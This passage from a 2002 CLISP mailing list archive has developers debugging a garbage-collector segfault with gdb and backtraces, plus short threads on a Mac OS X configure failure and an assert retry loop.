cured. Fault address = 0xC0. > Segmentation fault > > and I'm wondering how to track the cause of this down. It's > reproduceable, and I'm happy to try things out, but because of the > nature of my "application" I haven't exactly got a small test case :-/ > > Any ideas? > > Thanks, > > Christophe Can you compile your cross-compiler with debugging enabled? (either do this by: "./makemake --with-xyz --with-etc debug > Makefile" | alternatively, with a new cvs Clisp I think 'configure' also takes a debug option) Then try to compile SBCL - if Clisp segfaults again, you can run gdb on the core file generated, and do a backtrace. It may help. You might want to first simply try compiling with the latest Clisp cvs. Regards, Peter From csr21@cam.ac.uk Tue Apr 23 07:23:55 2002 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1701D0-0002xp-00 for ; Tue, 23 Apr 2002 07:23:54 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.04) id 1701Cs-0000RN-00 for clisp-list@lists.sourceforge.net; Tue, 23 Apr 2002 15:23:46 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 1701Ca-0001RU-00 for ; Tue, 23 Apr 2002 15:23:28 +0100 To: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020423142328.GA5538@cam.ac.uk> References: <20020423081019.GA2920@cam.ac.uk> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="dDRMvlgZJXvWKvBx" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 07:24:06 2002 X-Original-Date: Tue, 23 Apr 2002 15:23:28 +0100 --dDRMvlgZJXvWKvBx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, Apr 23, 2002 at 09:30:11AM -0400, Sam Steingold wrote: > > * In message <20020423081019.GA2920@cam.ac.uk> > > * On the subject of "[clisp-list] What causes hard exits from clisp?" > > * Sent on Tue, 23 Apr 2002 09:10:19 +0100 > > * Honorable Christophe Rhodes writes: > > > > *** - handle_fault error2 ! address = 0xC0 not in [0x202AB000,0x20975920) ! > > SIGSEGV cannot be cured. Fault address = 0xC0. > > Segmentation fault > > create the Makefile by giving makemake a "debug" argument, then edit > CFLAGS in Makefile to your taste, then remake. > then use gdb to debug the crash. Thanks. I've attached a backtrace, in case it makes more sense to anyone else -- it appears to be in garbage collection land, looking trying to mark a subroutine? I'm afraid I know almost nothing of clisp internals :-/ If people want to inspect things on the stack, do let me know -- I can hold this gdb session; alternatively, it's fairly straightforward to replicate the crash if you are willing to grab the sbcl source code... Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) --dDRMvlgZJXvWKvBx Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="clisp.backtrace" #0 gc_mark (obj=0x67e54c1b) at spvw_garcol.d:288 288 down_subr(); #0 gc_mark (obj=0x67e54c1b) at spvw_garcol.d:288 #1 0x0804c73e in gc_mark_stack (objptr=0x401f45bc) at spvw_garcol.d:440 #2 0x0804c860 in gc_markphase () at spvw_garcol.d:450 #3 0x0804cf80 in gar_col_normal () at spvw_garcol.d:1635 #4 0x0804ddff in do_gar_col_simple () at spvw_garcol.d:2467 #5 0x080ba49a in with_gc_statistics (fun=0x804dda8 ) at predtype.d:2854 #6 0x0804de34 in gar_col_simple () at spvw_garcol.d:2474 #7 0x0804df87 in make_space_gc_true (need=108, heapptr=0x8250384) at spvw_allocate.d:236 #8 0x0804e462 in allocate_string (len=50) at spvw_typealloc.d:170 #9 0x080992ed in make_ssstring (len=50) at array.d:4192 #10 0x08072ebd in make_string_output_stream () at stream.d:2187 #11 0x080b334c in begin_error () at error.d:66 #12 0x080b3923 in fehler (errortype=source_program_error, errorstring=0x8179f02 "~: ~ is not a function name") at error.d:317 #13 0x080b4d0e in fehler_funname_source () at error.d:914 #14 0x080584bf in eval1 (form=0x67dec37b) at eval.d:3146 #15 0x08058176 in eval (form=0x67dec37b) at eval.d:2982 #16 0x0805589d in eval_5env (form=0x67dec37b, var_env=0x8241221, fun_env=0x8241221, block_env=0x8241221, go_env=0x8241221, decl_env=0x680a779b) at eval.d:977 #17 0x080558d7 in eval_noenv (form=0x67dec37b) at eval.d:989 #18 0x08063b47 in C_eval () at control.d:2299 #19 0x0805ce90 in interpret_bytecode_ (closure=0x203214a1, codeptr=0x20320f0c, byteptr_in=0x20320f1e
) at eval.d:7070 #20 0x0805b908 in funcall_closure (closure=0x203214a1, args_on_stack=2) at eval.d:5844 #21 0x0805ae77 in funcall (fun=0x20320499, args_on_stack=2) at eval.d:5031 #22 0x0805ce3d in interpret_bytecode_ (closure=0x20326015, codeptr=0x20325ff4, byteptr_in=0x20326006
) at eval.d:7067 #23 0x0805b908 in funcall_closure (closure=0x20326015, args_on_stack=1) at eval.d:5844 [...] --dDRMvlgZJXvWKvBx-- From samuel.steingold@verizon.net Tue Apr 23 08:08:55 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1701uW-0000s4-00 for ; Tue, 23 Apr 2002 08:08:52 -0700 Received: from gnu.org ([151.203.30.83]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020423150846.DLCX5756.out001.verizon.net@gnu.org>; Tue, 23 Apr 2002 10:08:46 -0500 To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020423142328.GA5538@cam.ac.uk> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 08:15:40 2002 X-Original-Date: 23 Apr 2002 11:08:55 -0400 > * In message <20020423142328.GA5538@cam.ac.uk> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > * Sent on Tue, 23 Apr 2002 15:23:28 +0100 > * Honorable Christophe Rhodes writes: > > > > Segmentation fault > > > > create the Makefile by giving makemake a "debug" argument, then edit > > CFLAGS in Makefile to your taste, then remake. > > then use gdb to debug the crash. > > Thanks. I've attached a backtrace, in case it makes more sense to anyone > else -- it appears to be in garbage collection land, looking trying to > mark a subroutine? I'm afraid I know almost nothing of clisp internals > :-/ no need. this is probably the usual "GC safety violation", i.e., a bug that you will spot easily after I tell you were to look :-) > If people want to inspect things on the stack, do let me know -- I can > hold this gdb session; alternatively, it's fairly straightforward to > replicate the crash if you are willing to grab the sbcl source code... this appears to be a non-CVS CLISP (i.e., a release). please get the CVS and try it. while the CLISP build is raging on, please read when you get the reproducible error, you will have to do the following: walk around the stack (starting with, say, fehler_funname_source() in your case and try `zout var` for various `object' vars, if it prints fine, then it's okay, if it segfaults, it was corrupted - you have to find the corrupted object, i.e., the one that was not saved on the STACK before an un-safe call.) thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux If a train station is a place where a train stops, what's a workstation? From csr21@cam.ac.uk Tue Apr 23 08:53:21 2002 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1702bW-0008Jt-00 for ; Tue, 23 Apr 2002 08:53:18 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.04) id 1702bN-0006I8-00 for clisp-list@lists.sourceforge.net; Tue, 23 Apr 2002 16:53:09 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 1702b6-0001aG-00 for ; Tue, 23 Apr 2002 16:52:52 +0100 To: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020423155251.GA5957@cam.ac.uk> References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 08:54:03 2002 X-Original-Date: Tue, 23 Apr 2002 16:52:51 +0100 On Tue, Apr 23, 2002 at 11:08:55AM -0400, Sam Steingold wrote: > > * Honorable Christophe Rhodes writes: > > > > > > Segmentation fault > > > > > > create the Makefile by giving makemake a "debug" argument, then edit > > > CFLAGS in Makefile to your taste, then remake. > > > then use gdb to debug the crash. > > > > Thanks. I've attached a backtrace, in case it makes more sense to anyone > > else -- it appears to be in garbage collection land, looking trying to > > mark a subroutine? I'm afraid I know almost nothing of clisp internals > > :-/ > > no need. this is probably the usual "GC safety violation", i.e., a bug > that you will spot easily after I tell you were to look :-) Erm, Ok... you have great faith in me. > > If people want to inspect things on the stack, do let me know -- I can > > hold this gdb session; alternatively, it's fairly straightforward to > > replicate the crash if you are willing to grab the sbcl source code... > > this appears to be a non-CVS CLISP (i.e., a release). Yes. > please get the CVS and try it. I shall do, though I'm slightly reluctant in that I already have one or two too many variables in my head... I might end up slightly confused over this one -- I hope not. > while the CLISP build is raging on, please read > Right. So something wasn't pushSTACKed before calling some other function? OK. > when you get the reproducible error, you will have to do the following: > > walk around the stack (starting with, say, fehler_funname_source() in > your case and try `zout var` for various `object' vars, if it prints > fine, then it's okay, if it segfaults, it was corrupted - you have to > find the corrupted object, i.e., the one that was not saved on the STACK > before an un-safe call.) I'm slightly lost by this one -- do you mean the C stack or the clisp STACK? An example would help. I tried zouting various things in various frames and got nothing but segfaults, so it's possibly that I haven't understood... Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From samuel.steingold@verizon.net Tue Apr 23 10:19:56 2002 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1703xH-0008HG-00 for ; Tue, 23 Apr 2002 10:19:52 -0700 Received: from gnu.org ([151.203.30.83]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020423171955.CAZA4379.out002.verizon.net@gnu.org>; Tue, 23 Apr 2002 12:19:55 -0500 To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020423155251.GA5957@cam.ac.uk> Message-ID: Lines: 66 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 10:20:08 2002 X-Original-Date: 23 Apr 2002 13:19:52 -0400 > * In message <20020423155251.GA5957@cam.ac.uk> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > * Sent on Tue, 23 Apr 2002 16:52:51 +0100 > * Honorable Christophe Rhodes writes: > > > while the CLISP build is raging on, please read > > > Right. So something wasn't pushSTACKed before calling some other > function? OK. yes. > > when you get the reproducible error, you will have to do the following: > > > > walk around the stack (starting with, say, fehler_funname_source() in > > your case and try `zout var` for various `object' vars, if it prints > > fine, then it's okay, if it segfaults, it was corrupted - you have to > > find the corrupted object, i.e., the one that was not saved on the STACK > > before an un-safe call.) > > I'm slightly lost by this one -- do you mean the C stack or the clisp walk around the C stack, checking that everything that should be on the Lisp STACK is actually there. > STACK? An example would help. I tried zouting various things in various > frames and got nothing but segfaults, so it's possibly that I haven't > understood... sorry - after the memory got corrupted (which is indicated by the segfault), you will get many random segfaults. you have to walk (in the debugger) up to the point when CLISP crashes, but stop before the actual segfault. e.g., set a break in fehler_funname_source() - you probably get there just this once (or maybe not - in that case you have to count the fehler_funname_source hits and set a delayed break). Note that zout is not GC-safe itself (especially when printing large objects) - so calling it at a bad moment can get you in trouble. No, this is not trivial, but you _can_ do it. e.h., (gdb) break fehler_funname_source (gdb) c (gdb) n (gdb) zout caller crash -- somewhere above `caller' was corrupted - restart and stop earlier and see when `caller' gets corrupted... otherwise, (gdb) zout obj crash -- somewhere above `obj' was corrupted - restart and stop earlier and see when `obj' gets corrupted... otherwise, ... -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux A poet who reads his verse in public may have other nasty habits. From pri.deContes@ifrance.com Tue Apr 23 10:51:26 2002 Received: from postfix2-2.free.fr ([213.228.0.140]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1704Rm-0005hU-00 for ; Tue, 23 Apr 2002 10:51:23 -0700 Received: from localhost (nas-cbv-1-62-147-130-236.dial.proxad.net [62.147.130.236]) by postfix2-2.free.fr (Postfix) with ESMTP id 294105FCCB for ; Tue, 23 Apr 2002 19:51:17 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v481) Content-Type: text/plain; charset=US-ASCII; format=flowed From: =?ISO-8859-1?Q?Thomas_De=A0Contes?= To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.481) Subject: [clisp-list] clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 10:52:04 2002 X-Original-Date: Tue, 23 Apr 2002 19:52:00 +0200 i'm not expert, and i just want to use clisp under mac os x [localhost:clisp-2.28 Folder/clisp-2.28] thomas% ./configure bin/ ./configure: condition expected: Folder/clisp-2.28 [275] ./configure: condition expected: Folder/clisp-2.28/bin [282] chmod: Folder/clisp-2.28/bin/configure: No such file or directory is it normal ? where is clisp ? From csr21@cam.ac.uk Tue Apr 23 11:25:41 2002 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1704ys-0004Ja-00 for ; Tue, 23 Apr 2002 11:25:34 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.04) id 1704yj-000519-00; Tue, 23 Apr 2002 19:25:25 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 1704yR-0001jo-00; Tue, 23 Apr 2002 19:25:07 +0100 To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020423182507.GA6665@cam.ac.uk> References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 11:26:27 2002 X-Original-Date: Tue, 23 Apr 2002 19:25:07 +0100 On Tue, Apr 23, 2002 at 01:19:52PM -0400, Sam Steingold wrote: > > > when you get the reproducible error, you will have to do the following: > > > > > > walk around the stack (starting with, say, fehler_funname_source() in > > > your case and try `zout var` for various `object' vars, if it prints > > > fine, then it's okay, if it segfaults, it was corrupted - you have to > > > find the corrupted object, i.e., the one that was not saved on the STACK > > > before an un-safe call.) > > > > I'm slightly lost by this one -- do you mean the C stack or the clisp > > walk around the C stack, checking that everything that should be on the > Lisp STACK is actually there. > > > STACK? An example would help. I tried zouting various things in various > > frames and got nothing but segfaults, so it's possibly that I haven't > > understood... > > sorry - after the memory got corrupted (which is indicated by the > segfault), you will get many random segfaults. > > you have to walk (in the debugger) up to the point when CLISP crashes, > but stop before the actual segfault. > e.g., set a break in fehler_funname_source() - you probably get there > just this once (or maybe not - in that case you have to count the > fehler_funname_source hits and set a delayed break). Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages upthread has upwards of 1000 frames. And there were quite a few fehler_funname_source()s in there :-/ Looks like it's a long-term project... > Note that zout is not GC-safe itself (especially when printing large > objects) - so calling it at a bad moment can get you in trouble. Ouch. Um, ok. Thanks. I'll try to look at it. Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From samuel.steingold@verizon.net Tue Apr 23 11:49:40 2002 Received: from out010pub.verizon.net ([206.46.170.133] helo=out010.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1705MA-0000kJ-00 for ; Tue, 23 Apr 2002 11:49:39 -0700 Received: from gnu.org ([151.203.30.83]) by out010.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020423184932.USWW1257.out010.verizon.net@gnu.org>; Tue, 23 Apr 2002 13:49:32 -0500 To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020423182507.GA6665@cam.ac.uk> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 11:50:07 2002 X-Original-Date: 23 Apr 2002 14:49:38 -0400 > * In message <20020423182507.GA6665@cam.ac.uk> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > * Sent on Tue, 23 Apr 2002 19:25:07 +0100 > * Honorable Christophe Rhodes writes: > > > e.g., set a break in fehler_funname_source() - you probably get there > > just this once (or maybe not - in that case you have to count the > > fehler_funname_source hits and set a delayed break). > > Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages > upthread has upwards of 1000 frames. And there were quite a few > fehler_funname_source()s in there :-/ Looks like it's a long-term > project... there is something wrong here. fehler_funname_source cannot call fehler_funname_source. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Any programming language is at its best before it is implemented and used. From lin8080@freenet.de Tue Apr 23 13:01:24 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1706Ta-0003ez-00 for ; Tue, 23 Apr 2002 13:01:22 -0700 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #8) id 1706TU-0002Bo-00 for clisp-list@lists.sourceforge.net; Tue, 23 Apr 2002 22:01:16 +0200 Received: from a865e.pppool.de ([213.6.134.94] helo=freenet.de) by mx1.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #8) id 1706TT-0008Fx-00 for clisp-list@lists.sourceforge.net; Tue, 23 Apr 2002 22:01:16 +0200 Message-ID: <3CC5A006.54D06654@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] assert goes into an endless loop Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 23 13:02:59 2002 X-Original-Date: Tue, 23 Apr 2002 19:55:18 +0200 Hallo >>>>> "lin8080" == lin8080 writes: lin8080> Claudio Bley schrieb: >> "lin8080" == lin8080 writes: lin8080> With clisp-2.28 on win98: >> OK, but what about: clisp -x '(assert (>= -1 0))' ??? >> On Linux i686, GNU CLISP 2.28 it indeed creates an endless >> loop: >> WARNING: (>= -1 0) must evaluate to a non-NIL value. Retry >> WARNING: (>= -1 0) must evaluate to a non-NIL value. Retry ... lin8080> Would you type in 100x Retry? .No, I wouldn't. I just wanted to point out that you did not do what .Bruno asked for and of course obtained a different behavior. I don't .know whether it is the same isssue Bruno was talking about as he said ."it creates an endless loop". Aha. I show, what the interpreter does and this is ok, means the interpreter find a correctable error and asks for instructions. I can't guess, what Bruno means. But when assert returns in an interaction with the user, it can't be used inside a list (the program will halt and wait). What else will make assert to stop the interpreter? Should the internals behind assert be modified? lin8080> How should the Interpreter react? .IMHO, if it is set in stone by the hyperspec that a "correctable" .error is signalled there should be a chance to actually correct the .error and the interpreter should wait for user input. Yes, that is what happend. And the "test-form" given to assert can be all kind of form (see HyperSpec). I think, the user is that one who has responsible for what he does. So, someone can put a note to the HyperSpec or the Impnotes. :) .Otherwise if the interpreter is meant to be run in some sort of .non-interaction mode the interpreter should signal the error and just .exit without retrying to evaluate the test-form. Hmm. Do you mean, the "correctable error" should be an normal "error"? I can not find a function like "proof" or "examine", but find a makro "check-type" or "ldb-test". Is there a equivalent to "assert"? stefan From csr21@cam.ac.uk Wed Apr 24 01:13:51 2002 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170HuQ-0005B2-00 for ; Wed, 24 Apr 2002 01:13:50 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by plum.csi.cam.ac.uk with esmtp (Exim 4.04) id 170HuK-0004WH-00; Wed, 24 Apr 2002 09:13:44 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 170Hu2-00037X-00; Wed, 24 Apr 2002 09:13:26 +0100 To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020424081326.GA11985@cam.ac.uk> References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="wRRV7LY7NUeQGEoC" Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 01:14:03 2002 X-Original-Date: Wed, 24 Apr 2002 09:13:26 +0100 --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, Apr 23, 2002 at 02:49:38PM -0400, Sam Steingold wrote: > > * In message <20020423182507.GA6665@cam.ac.uk> > > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > > * Sent on Tue, 23 Apr 2002 19:25:07 +0100 > > * Honorable Christophe Rhodes writes: > > > > > e.g., set a break in fehler_funname_source() - you probably get there > > > just this once (or maybe not - in that case you have to count the > > > fehler_funname_source hits and set a delayed break). > > > > Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages > > upthread has upwards of 1000 frames. And there were quite a few > > fehler_funname_source()s in there :-/ Looks like it's a long-term > > project... > > there is something wrong here. > fehler_funname_source cannot call fehler_funname_source. I've attached a slightly fuller backtrace from the CVS version of CLISP, compiled with ./configure --with-debug, on the same application. It crashes in the same place, from a user point of view, though the small-numbered stack frames in this backtrace are slightly different in the detail. fehler_funname_source appears at frames 45, 80, and 115 of the attached (hmm, 35 frames..., yes, also 150 and 185) Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) --wRRV7LY7NUeQGEoC Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: attachment; filename="clisp.backtrace" Content-Transfer-Encoding: 8bit #0 0x0804b69e in sigsegv_handler_failed (address=0xc0) at spvw_sigsegv.d:29 #1 0x0804b702 in sigsegv_handler (fault_address=0xc0, serious=1) at spvw_sigsegv.d:44 #2 0x080df9ba in sigsegv_handler (sig=11, more=0) at ../../sigsegv/handler.c:359 #3 0x400866e8 in sigaction () from /lib/libc.so.6 #4 0x0804c76e in gc_mark_stack (objptr=0x401dce34) at spvw_garcol.d:441 #5 0x0804c890 in gc_markphase () at spvw_garcol.d:451 #6 0x0804cfb0 in gar_col_normal () at spvw_garcol.d:1635 #7 0x0804de2f in do_gar_col_simple () at spvw_garcol.d:2472 #8 0x080bab5a in with_gc_statistics (fun=0x804ddd8 ) at predtype.d:2854 #9 0x0804de64 in gar_col_simple () at spvw_garcol.d:2479 #10 0x0804e0bf in make_space_gc_false (need=8, heapptr=0x82554c4) at spvw_allocate.d:297 #11 0x0804e1d2 in allocate_cons () #12 0x0805ece5 in interpret_bytecode_ (closure=0x20d0bb41, codeptr=0x20325cc4, byteptr_in=0x20325cd6 "\224\001¬o\001­\210\002\016i\001\002Ý®{\002\a\001\003b\002\031\004\225\003\a") at eval.d:7987 #13 0x0805d26a in interpret_bytecode_ (closure=0x20d0bb21, codeptr=0x20325c14, byteptr_in=0x20325c26 "®\a") at eval.d:7101 #14 0x0805d26a in interpret_bytecode_ (closure=0x20d0bb01, codeptr=0x20325b64, byteptr_in=0x20325b76 "¯®\a") at eval.d:7101 #15 0x0805d20d in interpret_bytecode_ (closure=0x20d0bad9, codeptr=0x20325aa0, byteptr_in=0x20325ab2 "\222\001+°°°\a") at eval.d:7098 #16 0x0805d26a in interpret_bytecode_ (closure=0x20325dad, codeptr=0x20325818, byteptr_in=0x2032582a "\e\027Ê\e7­a\001\e:á®a\002\e\200@\231\vº«7\001\026\v") at eval.d:7101 #17 0x0805ba78 in funcall_closure (closure=0x20325dad, args_on_stack=2) at eval.d:5838 #18 0x0805afe7 in funcall (fun=0x20324da5, args_on_stack=2) at eval.d:5025 #19 0x0805cfad in interpret_bytecode_ (closure=0x2032ae79, codeptr=0x2032ae58, byteptr_in=0x2032ae6a "­o") at eval.d:7061 #20 0x0805ba78 in funcall_closure (closure=0x2032ae79, args_on_stack=1) at eval.d:5838 #21 0x0805afe7 in funcall (fun=0x2032ae3d, args_on_stack=1) at eval.d:5025 #22 0x0805ceb3 in interpret_bytecode_ (closure=0x2032bbdd, codeptr=0x2032bb64, byteptr_in=0x2032bb76 "®/") at eval.d:7052 #23 0x0805ba78 in funcall_closure (closure=0x2032bbdd, args_on_stack=5) at eval.d:5838 #24 0x0805afe7 in funcall (fun=0x824d35d, args_on_stack=5) at eval.d:5025 #25 0x080a5c4f in C_pmake_instance (argcount=2, rest_args_pointer=0x401dcd88) at record.d:1340 #26 0x0805a469 in apply_subr 